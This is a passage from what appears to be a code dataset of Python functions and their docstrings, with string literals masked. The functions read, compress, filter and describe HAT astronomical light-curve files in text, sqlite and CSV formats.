'<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(fpath=lcpath,<EOL>ncols=N_cols))<EOL>return None<EOL><DEDENT>if colformat == '<STR_LIT>':<EOL><INDENT>col_names = ['<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>']<EOL>col_dtypes = ['<STR_LIT>',float,<EOL>float,float,'<STR_LIT>',<EOL>float,float,'<STR_LIT>',<EOL>float,float,'<STR_LIT>',<EOL>float,float,float,<EOL>float,float,float]<EOL>dtype_pairs = [el for el in zip(col_names, col_dtypes)]<EOL>data = np.genfromtxt(lcpath, names=col_names, dtype=col_dtypes,<EOL>skip_header=N_comment_lines, delimiter=None)<EOL>out = {}<EOL>for ix in range(len(data.dtype.names)):<EOL><INDENT>out[data.dtype.names[ix]] = data[data.dtype.names[ix]]<EOL><DEDENT><DEDENT>elif colformat == '<STR_LIT>':<EOL><INDENT>col_names = ['<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>']<EOL>col_dtypes = ['<STR_LIT>',float,<EOL>float,float,'<STR_LIT>',<EOL>float,float,'<STR_LIT>',<EOL>float,float,'<STR_LIT>',<EOL>float,float,float,<EOL>float,float,float,<EOL>float,float,float]<EOL>dtype_pairs = [el for el in zip(col_names, col_dtypes)]<EOL>data = np.genfromtxt(lcpath, names=col_names, dtype=col_dtypes,<EOL>skip_header=N_comment_lines, delimiter=None)<EOL>out = {}<EOL>for ix in range(len(data.dtype.names)):<EOL><INDENT>out[data.dtype.names[ix]] = data[data.dtype.names[ix]]<EOL><DEDENT><DEDENT>elif colformat == '<STR_LIT>':<EOL><INDENT>col_names = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>out = astascii.read(lcpath, names=col_names, comment='<STR_LIT:#>')<EOL><DEDENT>return out<EOL>", "docstring": "Read .epdlc, and .tfalc light curves and return a corresponding labelled\ndict (if LC from <2012) or astropy table (if >=2012). Each has different\nkeys that can be accessed via .keys()\n\nInput:\nlcpath: path (string) to light curve data, which is a textfile with HAT\nLC data.\n\nExample:\ndat = read_original_textlc('HAT-115-0003266.epdlc')", "id": "f14688:m0"}
{"signature": "def _squeeze(value):", "body": "return re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", value).strip()<EOL>", "docstring": "Replace all sequences of whitespace chars with a single space.", "id": "f14689:m0"}
{"signature": "def _pycompress_sqlitecurve(sqlitecurve, force=False):", "body": "outfile = '<STR_LIT>' % sqlitecurve<EOL>try:<EOL><INDENT>if os.path.exists(outfile) and not force:<EOL><INDENT>os.remove(sqlitecurve)<EOL>return outfile<EOL><DEDENT>else:<EOL><INDENT>with open(sqlitecurve,'<STR_LIT:rb>') as infd:<EOL><INDENT>with gzip.open(outfile,'<STR_LIT:wb>') as outfd:<EOL><INDENT>shutil.copyfileobj(infd, outfd)<EOL><DEDENT><DEDENT>if os.path.exists(outfile):<EOL><INDENT>os.remove(sqlitecurve)<EOL>return outfile<EOL><DEDENT><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "This just compresses the sqlitecurve. Should be independent of OS.", "id": "f14689:m1"}
{"signature": "def _pyuncompress_sqlitecurve(sqlitecurve, force=False):", "body": "outfile = sqlitecurve.replace('<STR_LIT>','<STR_LIT>')<EOL>try:<EOL><INDENT>if os.path.exists(outfile) and not force:<EOL><INDENT>return outfile<EOL><DEDENT>else:<EOL><INDENT>with gzip.open(sqlitecurve,'<STR_LIT:rb>') as infd:<EOL><INDENT>with open(outfile,'<STR_LIT:wb>') as outfd:<EOL><INDENT>shutil.copyfileobj(infd, outfd)<EOL><DEDENT><DEDENT>if os.path.exists(outfile):<EOL><INDENT>return outfile<EOL><DEDENT><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "This just uncompresses the sqlitecurve. Should be independent of OS.", "id": "f14689:m2"}
{"signature": "def _gzip_sqlitecurve(sqlitecurve, force=False):", "body": "<EOL>if force:<EOL><INDENT>cmd = '<STR_LIT>' % sqlitecurve<EOL><DEDENT>else:<EOL><INDENT>cmd = '<STR_LIT>' % sqlitecurve<EOL><DEDENT>try:<EOL><INDENT>outfile = '<STR_LIT>' % sqlitecurve<EOL>if os.path.exists(outfile) and not force:<EOL><INDENT>os.remove(sqlitecurve)<EOL>return outfile<EOL><DEDENT>else:<EOL><INDENT>subprocess.check_output(cmd, shell=True)<EOL>if os.path.exists(outfile):<EOL><INDENT>return outfile<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT><DEDENT>except subprocess.CalledProcessError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "This just compresses the sqlitecurve in gzip format.\n\n    FIXME: this doesn't work with gzip < 1.6 or non-GNU gzip (probably).", "id": "f14689:m3"}
{"signature": "def _gunzip_sqlitecurve(sqlitecurve):", "body": "<EOL>cmd = '<STR_LIT>' % sqlitecurve<EOL>try:<EOL><INDENT>subprocess.check_output(cmd, shell=True)<EOL>return sqlitecurve.replace('<STR_LIT>','<STR_LIT>')<EOL><DEDENT>except subprocess.CalledProcessError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "This just uncompresses the sqlitecurve in gzip format.\n\n    FIXME: this doesn't work with gzip < 1.6 or non-GNU gzip (probably).", "id": "f14689:m4"}
{"signature": "def _validate_sqlitecurve_filters(filterstring, lccolumns):", "body": "<EOL>stringelems = _squeeze(filterstring).lower()<EOL>stringelems = filterstring.replace('<STR_LIT:(>','<STR_LIT>')<EOL>stringelems = stringelems.replace('<STR_LIT:)>','<STR_LIT>')<EOL>stringelems = stringelems.replace('<STR_LIT:U+002C>','<STR_LIT>')<EOL>stringelems = stringelems.replace(\"<STR_LIT:'>\",'<STR_LIT:\">')<EOL>stringelems = stringelems.replace('<STR_LIT:\\n>','<STR_LIT:U+0020>')<EOL>stringelems = stringelems.replace('<STR_LIT:\\t>','<STR_LIT:U+0020>')<EOL>stringelems = _squeeze(stringelems)<EOL>stringelems = stringelems.split('<STR_LIT:U+0020>')<EOL>stringelems = [x.strip() for x in stringelems]<EOL>stringwords = []<EOL>for x in stringelems:<EOL><INDENT>try:<EOL><INDENT>float(x)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>stringwords.append(x)<EOL><DEDENT><DEDENT>stringwords2 = []<EOL>for x in stringwords:<EOL><INDENT>if not(x.startswith('<STR_LIT:\">') and x.endswith('<STR_LIT:\">')):<EOL><INDENT>stringwords2.append(x)<EOL><DEDENT><DEDENT>stringwords2 = [x for x in stringwords2 if len(x) > <NUM_LIT:0>]<EOL>wordset = set(stringwords2)<EOL>allowedwords = SQLITE_ALLOWED_WORDS + lccolumns<EOL>checkset = set(allowedwords)<EOL>validatecheck = list(wordset - checkset)<EOL>if len(validatecheck) > <NUM_LIT:0>:<EOL><INDENT>LOGWARNING(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % filterstring)<EOL>return None<EOL><DEDENT>else:<EOL><INDENT>return filterstring<EOL><DEDENT>", "docstring": "This validates the sqlitecurve filter string.\n\n    This MUST be valid SQL but not contain any commands.", "id": "f14689:m5"}
{"signature": "def read_and_filter_sqlitecurve(lcfile,<EOL>columns=None,<EOL>sqlfilters=None,<EOL>raiseonfail=False,<EOL>returnarrays=True,<EOL>forcerecompress=False,<EOL>quiet=True):", "body": "<EOL>try:<EOL><INDENT>if '<STR_LIT>' in lcfile[-<NUM_LIT:4>:]:<EOL><INDENT>lcf = _uncompress_sqlitecurve(lcfile)<EOL><DEDENT>else:<EOL><INDENT>lcf = lcfile<EOL><DEDENT>db = sql.connect(lcf)<EOL>cur = db.cursor()<EOL>query = (\"<STR_LIT>\")<EOL>cur.execute(query)<EOL>objectinfo = cur.fetchone()<EOL>query = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>cur.execute(query)<EOL>lcinfo = cur.fetchone()<EOL>(lcversion, lcdatarelease, lccols, lcsortcol,<EOL>lcapertures, lcbestaperture,<EOL>objinfocols, objidcol,<EOL>lcunixtime, lcgitrev, lccomment) = lcinfo<EOL>lcapertures = json.loads(lcapertures)<EOL>lcbestaperture = json.loads(lcbestaperture)<EOL>objectinfokeys = objinfocols.split('<STR_LIT:U+002C>')<EOL>objectinfodict = {x:y for (x,y) in zip(objectinfokeys, objectinfo)}<EOL>objectid = objectinfodict[objidcol]<EOL>query = (\"<STR_LIT>\")<EOL>cur.execute(query)<EOL>filterinfo = cur.fetchall()<EOL>if columns and all([x in lccols.split('<STR_LIT:U+002C>') for x in columns]):<EOL><INDENT>LOGINFO('<STR_LIT>' % columns)<EOL>proceed = True<EOL><DEDENT>elif columns is None:<EOL><INDENT>columns = lccols.split('<STR_LIT:U+002C>')<EOL>proceed = True<EOL><DEDENT>else:<EOL><INDENT>proceed = False<EOL><DEDENT>if not proceed:<EOL><INDENT>if '<STR_LIT>' in lcfile[-<NUM_LIT:4>:] and lcf:<EOL><INDENT>_compress_sqlitecurve(lcf, force=forcerecompress)<EOL><DEDENT>LOGERROR('<STR_LIT>')<EOL>return None, \"<STR_LIT>\"<EOL><DEDENT>lcdict = {'<STR_LIT>':objectid,<EOL>'<STR_LIT>':objectinfodict,<EOL>'<STR_LIT>':objectinfokeys,<EOL>'<STR_LIT>':lcversion,<EOL>'<STR_LIT>':lcdatarelease,<EOL>'<STR_LIT>':columns,<EOL>'<STR_LIT>':lcsortcol,<EOL>'<STR_LIT>':lcapertures,<EOL>'<STR_LIT>':lcbestaperture,<EOL>'<STR_LIT>':lcunixtime,<EOL>'<STR_LIT>':lcgitrev,<EOL>'<STR_LIT>':lccomment,<EOL>'<STR_LIT>':filterinfo}<EOL>if ((sqlfilters is not None) and<EOL>(isinstance(sqlfilters,str) or<EOL>isinstance(sqlfilters, unicode))):<EOL><INDENT>validatedfilters = _validate_sqlitecurve_filters(sqlfilters,<EOL>lccols.split('<STR_LIT:U+002C>'))<EOL>if validatedfilters is not None:<EOL><INDENT>LOGINFO('<STR_LIT>' % validatedfilters)<EOL>filtersok = True<EOL><DEDENT>else:<EOL><INDENT>filtersok = False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>validatedfilters = None<EOL>filtersok = None<EOL><DEDENT>if validatedfilters is not None:<EOL><INDENT>query = (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>).format(<EOL>columns='<STR_LIT:U+002C>'.join(columns),  <EOL>sqlfilter=validatedfilters,<EOL>sortcol=lcsortcol<EOL>)<EOL>lcdict['<STR_LIT>'] = validatedfilters<EOL><DEDENT>else:<EOL><INDENT>query = (\"<STR_LIT>\") % (<EOL>'<STR_LIT:U+002C>'.join(columns),<EOL>lcsortcol<EOL>)<EOL><DEDENT>cur.execute(query)<EOL>lightcurve = cur.fetchall()<EOL>if lightcurve and len(lightcurve) > <NUM_LIT:0>:<EOL><INDENT>lightcurve = list(zip(*lightcurve))<EOL>lcdict.update({x:y for (x,y) in zip(lcdict['<STR_LIT>'],<EOL>lightcurve)})<EOL>lcok = True<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = len(lightcurve[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>' % lcdict['<STR_LIT>'])<EOL>lcdict.update({x:y for (x,y) in<EOL>zip(lcdict['<STR_LIT>'],<EOL>[[] for x in lcdict['<STR_LIT>']])})<EOL>lcok = False<EOL><DEDENT>if filtersok is True and lcok:<EOL><INDENT>statusmsg = '<STR_LIT>'<EOL><DEDENT>elif filtersok is None and lcok:<EOL><INDENT>statusmsg = '<STR_LIT>'<EOL><DEDENT>elif filtersok is False and lcok:<EOL><INDENT>statusmsg = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>statusmsg = '<STR_LIT>'<EOL><DEDENT>returnval = (lcdict, statusmsg)<EOL>if '<STR_LIT>' in lcfile[-<NUM_LIT:4>:] and lcf:<EOL><INDENT>_compress_sqlitecurve(lcf, force=forcerecompress)<EOL><DEDENT>if returnarrays:<EOL><INDENT>for column in lcdict['<STR_LIT>']:<EOL><INDENT>lcdict[column] = np.array([x if x is not None else np.nan<EOL>for x in lcdict[column]])<EOL><DEDENT><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>if not quiet:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % lcfile)<EOL><DEDENT>returnval = (None, '<STR_LIT>')<EOL>if '<STR_LIT>' in lcfile[-<NUM_LIT:4>:] and lcf:<EOL><INDENT>_compress_sqlitecurve(lcf, force=forcerecompress)<EOL><DEDENT>if raiseonfail:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>return returnval<EOL>", "docstring": "This reads a HAT sqlitecurve and optionally filters it.\n\n    Parameters\n    ----------\n\n    lcfile : str\n        The path to the HAT sqlitecurve file.\n\n    columns : list\n        A list of columns to extract from the ligh curve file. If None, then\n        returns all columns present in the latest `columnlist` in the light\n        curve.\n\n    sqlfilters : list of str\n        If no None, it must be a list of text SQL filters that apply to the\n        columns in the lightcurve.\n\n    raiseonfail : bool\n        If this is True, an Exception when reading the LC will crash the\n        function instead of failing silently and returning None as the result.\n\n    returnarrays : bool\n        If this is True, the output lcdict contains columns as np.arrays instead\n        of lists. You generally want this to be True.\n\n    forcerecompress : bool\n        If True, the sqlitecurve will be recompressed even if a compressed\n        version of it is found. This usually happens when sqlitecurve opening is\n        interrupted by the OS for some reason, leaving behind a gzipped and\n        un-gzipped copy. By default, this function refuses to overwrite the\n        existing gzipped version so if the un-gzipped version is corrupt but\n        that one isn't, it can be safely recovered.\n\n    quiet : bool\n        If True, will not warn about any problems, even if the light curve\n        reading fails (the only clue then will be the return value of\n        None). Useful for batch processing of many many light curves.\n\n    Returns\n    -------\n\n    tuple : (lcdict, status_message)\n        A two-element tuple is returned, with the first element being the\n        lcdict.", "id": "f14689:m6"}
{"signature": "def describe(lcdict, returndesc=False, offsetwith=None):", "body": "<EOL>if '<STR_LIT>' in lcdict and '<STR_LIT>' in lcdict['<STR_LIT>'].lower():<EOL><INDENT>return describe_lcc_csv(lcdict, returndesc=returndesc)<EOL><DEDENT>columndefs = []<EOL>for colind, column in enumerate(lcdict['<STR_LIT>']):<EOL><INDENT>if '<STR_LIT:_>' in column:<EOL><INDENT>colkey, colap = column.split('<STR_LIT:_>')<EOL>coldesc = COLUMNDEFS[colkey][<NUM_LIT:0>] % colap<EOL><DEDENT>else:<EOL><INDENT>coldesc = COLUMNDEFS[column][<NUM_LIT:0>]<EOL><DEDENT>columndefstr = '<STR_LIT>' % (colind,<EOL>column,<EOL>coldesc)<EOL>columndefs.append(columndefstr)<EOL><DEDENT>columndefs = '<STR_LIT:\\n>'.join(columndefs)<EOL>filterdefs = []<EOL>for row in lcdict['<STR_LIT>']:<EOL><INDENT>filterid, filtername, filterdesc = row<EOL>filterdefstr = '<STR_LIT>' % (filterid,<EOL>filtername,<EOL>filterdesc)<EOL>filterdefs.append(filterdefstr)<EOL><DEDENT>filterdefs = '<STR_LIT:\\n>'.join(filterdefs)<EOL>aperturedefs = []<EOL>for key in sorted(lcdict['<STR_LIT>'].keys()):<EOL><INDENT>aperturedefstr = '<STR_LIT>' % (key, lcdict['<STR_LIT>'][key])<EOL>aperturedefs.append(aperturedefstr)<EOL><DEDENT>aperturedefs = '<STR_LIT:\\n>'.join(aperturedefs)<EOL>description = DESCTEMPLATE.format(<EOL>objectid=lcdict['<STR_LIT>'],<EOL>hatid=lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>twomassid=lcdict['<STR_LIT>']['<STR_LIT>'].strip(),<EOL>ra=lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>decl=lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>pmra=lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>pmra_err=lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>pmdecl=lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>pmdecl_err=lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>jmag=lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>hmag=lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>kmag=lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>bmag=lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>vmag=lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>sdssg=lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>sdssr=lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>sdssi=lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>ndet=lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>lcsortcol=lcdict['<STR_LIT>'],<EOL>lcbestaperture=json.dumps(lcdict['<STR_LIT>'],ensure_ascii=True),<EOL>network=lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>stations=lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>lastupdated=lcdict['<STR_LIT>'],<EOL>datarelease=lcdict['<STR_LIT>'],<EOL>lcversion=lcdict['<STR_LIT>'],<EOL>lcserver=lcdict['<STR_LIT>'],<EOL>comment=lcdict['<STR_LIT>'],<EOL>lcfiltersql=(lcdict['<STR_LIT>'] if '<STR_LIT>' in lcdict else '<STR_LIT>'),<EOL>lcnormcols=(lcdict['<STR_LIT>'] if '<STR_LIT>' in lcdict else '<STR_LIT>'),<EOL>filterdefs=filterdefs,<EOL>columndefs=columndefs,<EOL>aperturedefs=aperturedefs<EOL>)<EOL>if offsetwith is not None:<EOL><INDENT>description = textwrap.indent(<EOL>description,<EOL>'<STR_LIT>' % offsetwith,<EOL>lambda line: True<EOL>)<EOL>print(description)<EOL><DEDENT>else:<EOL><INDENT>print(description)<EOL><DEDENT>if returndesc:<EOL><INDENT>return description<EOL><DEDENT>", "docstring": "This describes the light curve object and columns present.\n\n    Parameters\n    ----------\n\n    lcdict : dict\n        The input lcdict to parse for column and metadata info.\n\n    returndesc : bool\n        If True, returns the description string as an str instead of just\n        printing it to stdout.\n\n    offsetwith : str\n        This is a character to offset the output description lines by. This is\n        useful to add comment characters like '#' to the output description\n        lines.\n\n    Returns\n    -------\n\n    str or None\n        If returndesc is True, returns the description lines as a str, otherwise\n        returns nothing.", "id": "f14689:m7"}
{"signature": "def _smartcast(castee, caster, subval=None):", "body": "try:<EOL><INDENT>return caster(castee)<EOL><DEDENT>except Exception as e:<EOL><INDENT>if caster is float or caster is int:<EOL><INDENT>return nan<EOL><DEDENT>elif caster is str:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return subval<EOL><DEDENT><DEDENT>", "docstring": "This just tries to apply the caster function to castee.\n\nReturns None on failure.", "id": "f14689:m8"}
{"signature": "def _parse_csv_header(header):", "body": "<EOL>headerlines = header.split('<STR_LIT:\\n>')<EOL>headerlines = [x.lstrip('<STR_LIT>') for x in headerlines]<EOL>objectstart = headerlines.index('<STR_LIT>')<EOL>metadatastart = headerlines.index('<STR_LIT>')<EOL>camfilterstart = headerlines.index('<STR_LIT>')<EOL>photaperturestart = headerlines.index('<STR_LIT>')<EOL>columnstart = headerlines.index('<STR_LIT>')<EOL>lcstart = headerlines.index('<STR_LIT>')<EOL>objectinfo = headerlines[objectstart+<NUM_LIT:1>:metadatastart-<NUM_LIT:1>]<EOL>metadatainfo = headerlines[metadatastart+<NUM_LIT:1>:camfilterstart-<NUM_LIT:1>]<EOL>camfilterinfo = headerlines[camfilterstart+<NUM_LIT:1>:photaperturestart-<NUM_LIT:1>]<EOL>photapertureinfo = headerlines[photaperturestart+<NUM_LIT:1>:columnstart-<NUM_LIT:1>]<EOL>columninfo = headerlines[columnstart+<NUM_LIT:1>:lcstart-<NUM_LIT:1>]<EOL>metadict = {'<STR_LIT>':{}}<EOL>objectinfo = [x.split('<STR_LIT:;>') for x in objectinfo]<EOL>for elem in objectinfo:<EOL><INDENT>for kvelem in elem:<EOL><INDENT>key, val = kvelem.split('<STR_LIT>',<NUM_LIT:1>)<EOL>metadict['<STR_LIT>'][key.strip()] = (<EOL>_smartcast(val, METAKEYS[key.strip()])<EOL>)<EOL><DEDENT><DEDENT>metadict['<STR_LIT>'] = metadict['<STR_LIT>']['<STR_LIT>'][:]<EOL>del metadict['<STR_LIT>']['<STR_LIT>']<EOL>metadatainfo = [x.split('<STR_LIT:;>') for x in metadatainfo]<EOL>for elem in metadatainfo:<EOL><INDENT>for kvelem in elem:<EOL><INDENT>try:<EOL><INDENT>key, val = kvelem.split('<STR_LIT>',<NUM_LIT:1>)<EOL>if key.strip() == '<STR_LIT>':<EOL><INDENT>val = json.loads(val)<EOL><DEDENT>if key.strip() in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>val = int(val)<EOL><DEDENT>if key.strip() == '<STR_LIT>':<EOL><INDENT>val = float(val)<EOL><DEDENT>metadict[key.strip()] = val<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>' % kvelem)<EOL><DEDENT><DEDENT><DEDENT>metadict['<STR_LIT>'] = []<EOL>for row in camfilterinfo:<EOL><INDENT>filterid, filtername, filterdesc = row.split('<STR_LIT>')<EOL>metadict['<STR_LIT>'].append((int(filterid),<EOL>filtername,<EOL>filterdesc))<EOL><DEDENT>metadict['<STR_LIT>'] = {}<EOL>for row in photapertureinfo:<EOL><INDENT>apnum, appix = row.split('<STR_LIT>')<EOL>appix = float(appix.rstrip('<STR_LIT>'))<EOL>metadict['<STR_LIT>'][apnum.strip()] = appix<EOL><DEDENT>metadict['<STR_LIT>'] = []<EOL>for row in columninfo:<EOL><INDENT>colnum, colname, coldesc = row.split('<STR_LIT>')<EOL>metadict['<STR_LIT>'].append(colname)<EOL><DEDENT>return metadict<EOL>", "docstring": "This parses the CSV header from the CSV HAT sqlitecurve.\n\nReturns a dict that can be used to update an existing lcdict with the\nrelevant metadata info needed to form a full LC.", "id": "f14689:m9"}
{"signature": "def _parse_csv_header_lcc_csv_v1(headerlines):", "body": "<EOL>commentchar = headerlines[<NUM_LIT:1>]<EOL>separator = headerlines[<NUM_LIT:2>]<EOL>headerlines = [x.lstrip('<STR_LIT>' % commentchar) for x in headerlines[<NUM_LIT:3>:]]<EOL>metadatastart = headerlines.index('<STR_LIT>')<EOL>columnstart = headerlines.index('<STR_LIT>')<EOL>lcstart = headerlines.index('<STR_LIT>')<EOL>metadata = '<STR_LIT:U+0020>' .join(headerlines[metadatastart+<NUM_LIT:1>:columnstart-<NUM_LIT:1>])<EOL>columns = '<STR_LIT:U+0020>' .join(headerlines[columnstart+<NUM_LIT:1>:lcstart-<NUM_LIT:1>])<EOL>metadata = json.loads(metadata)<EOL>columns = json.loads(columns)<EOL>return metadata, columns, separator<EOL>", "docstring": "This parses the header of the LCC CSV V1 LC format.", "id": "f14689:m10"}
{"signature": "def read_lcc_csvlc(lcfile):", "body": "<EOL>if '<STR_LIT>' in os.path.basename(lcfile):<EOL><INDENT>infd = gzip.open(lcfile,'<STR_LIT:rb>')<EOL><DEDENT>else:<EOL><INDENT>infd = open(lcfile,'<STR_LIT:rb>')<EOL><DEDENT>lctext = infd.read().decode()<EOL>infd.close()<EOL>lctextlines = lctext.split('<STR_LIT:\\n>')<EOL>lcformat = lctextlines[<NUM_LIT:0>]<EOL>commentchar = lctextlines[<NUM_LIT:1>]<EOL>lcstart = lctextlines.index('<STR_LIT>' % commentchar)<EOL>headerlines = lctextlines[:lcstart+<NUM_LIT:1>]<EOL>lclines = lctextlines[lcstart+<NUM_LIT:1>:]<EOL>metadata, columns, separator = _parse_csv_header_lcc_csv_v1(headerlines)<EOL>objectid = metadata['<STR_LIT>']['<STR_LIT>']<EOL>objectinfo = {key:metadata[key]['<STR_LIT>'] for key in metadata}<EOL>colnames = []<EOL>colnum = []<EOL>coldtypes = []<EOL>for k in columns:<EOL><INDENT>coldef = columns[k]<EOL>colnames.append(k)<EOL>colnum.append(coldef['<STR_LIT>'])<EOL>coldtypes.append(coldef['<STR_LIT>'])<EOL><DEDENT>coldtypes = '<STR_LIT:U+002C>'.join(coldtypes)<EOL>recarr = np.genfromtxt(<EOL>lclines,<EOL>comments=commentchar,<EOL>delimiter=separator,<EOL>usecols=colnum,<EOL>autostrip=True,<EOL>names=colnames,<EOL>dtype=coldtypes<EOL>)<EOL>lcdict = {x:recarr[x] for x in colnames}<EOL>lcdict['<STR_LIT>'] = lcformat<EOL>lcdict['<STR_LIT>'] = objectid<EOL>lcdict['<STR_LIT>'] = objectinfo<EOL>lcdict['<STR_LIT>'] = colnames<EOL>lcdict['<STR_LIT>'] = columns<EOL>lcdict['<STR_LIT>'] = metadata<EOL>return lcdict<EOL>", "docstring": "This reads a CSV LC produced by an `LCC-Server\n    <https://github.com/waqasbhatti/lcc-server>`_ instance.\n\n    Parameters\n    ----------\n\n    lcfile : str\n        The LC file to read.\n\n    Returns\n    -------\n\n    dict\n        Returns an lcdict that's readable by most astrobase functions for\n        further processing.", "id": "f14689:m11"}
{"signature": "def describe_lcc_csv(lcdict, returndesc=False):", "body": "metadata_lines = []<EOL>coldef_lines = []<EOL>if '<STR_LIT>' in lcdict and '<STR_LIT>' in lcdict['<STR_LIT>'].lower():<EOL><INDENT>metadata = lcdict['<STR_LIT>']<EOL>metakeys = lcdict['<STR_LIT>'].keys()<EOL>coldefs = lcdict['<STR_LIT>']<EOL>for mk in metakeys:<EOL><INDENT>metadata_lines.append(<EOL>'<STR_LIT>' % (<EOL>mk,<EOL>metadata[mk]['<STR_LIT>']<EOL>)<EOL>)<EOL><DEDENT>for ck in lcdict['<STR_LIT>']:<EOL><INDENT>coldef_lines.append('<STR_LIT>'<EOL>% (coldefs[ck]['<STR_LIT>'],<EOL>ck,<EOL>coldefs[ck]['<STR_LIT>'],<EOL>coldefs[ck]['<STR_LIT>']))<EOL><DEDENT>desc = LCC_CSVLC_DESCTEMPLATE.format(<EOL>objectid=lcdict['<STR_LIT>'],<EOL>metadata_desc='<STR_LIT:\\n>'.join(metadata_lines),<EOL>metadata=pformat(lcdict['<STR_LIT>']),<EOL>columndefs='<STR_LIT:\\n>'.join(coldef_lines)<EOL>)<EOL>print(desc)<EOL>if returndesc:<EOL><INDENT>return desc<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>", "docstring": "This describes the LCC CSV format light curve file.\n\nParameters\n----------\n\nlcdict : dict\n    The input lcdict to parse for column and metadata info.\n\nreturndesc : bool\n    If True, returns the description string as an str instead of just\n    printing it to stdout.\n\nReturns\n-------\n\nstr or None\n    If returndesc is True, returns the description lines as a str, otherwise\n    returns nothing.", "id": "f14689:m12"}
{"signature": "def read_csvlc(lcfile):", "body": "<EOL>if '<STR_LIT>' in os.path.basename(lcfile):<EOL><INDENT>LOGINFO('<STR_LIT>' % lcfile)<EOL>infd = gzip.open(lcfile,'<STR_LIT:rb>')<EOL><DEDENT>else:<EOL><INDENT>LOGINFO('<STR_LIT>' % lcfile)<EOL>infd = open(lcfile,'<STR_LIT:rb>')<EOL><DEDENT>lcformat_check = infd.read(<NUM_LIT:12>).decode()<EOL>if '<STR_LIT>' in lcformat_check:<EOL><INDENT>infd.close()<EOL>return read_lcc_csvlc(lcfile)<EOL><DEDENT>else:<EOL><INDENT>infd.seek(<NUM_LIT:0>)<EOL><DEDENT>lctext = infd.read().decode()  <EOL>infd.close()<EOL>lcstart = lctext.index('<STR_LIT>')<EOL>lcheader = lctext[:lcstart+<NUM_LIT:12>]<EOL>lccolumns = lctext[lcstart+<NUM_LIT>:].split('<STR_LIT:\\n>')<EOL>lccolumns = [x for x in lccolumns if len(x) > <NUM_LIT:0>]<EOL>lcdict = _parse_csv_header(lcheader)<EOL>lccolumns = [x.split('<STR_LIT:U+002C>') for x in lccolumns]<EOL>lccolumns = list(zip(*lccolumns))  <EOL>for colind, col in enumerate(lcdict['<STR_LIT>']):<EOL><INDENT>if (col.split('<STR_LIT:_>')[<NUM_LIT:0>] in LC_MAG_COLUMNS or<EOL>col.split('<STR_LIT:_>')[<NUM_LIT:0>] in LC_ERR_COLUMNS or<EOL>col.split('<STR_LIT:_>')[<NUM_LIT:0>] in LC_FLAG_COLUMNS):<EOL><INDENT>lcdict[col] = np.array([_smartcast(x,<EOL>COLUMNDEFS[col.split('<STR_LIT:_>')[<NUM_LIT:0>]][<NUM_LIT:2>])<EOL>for x in 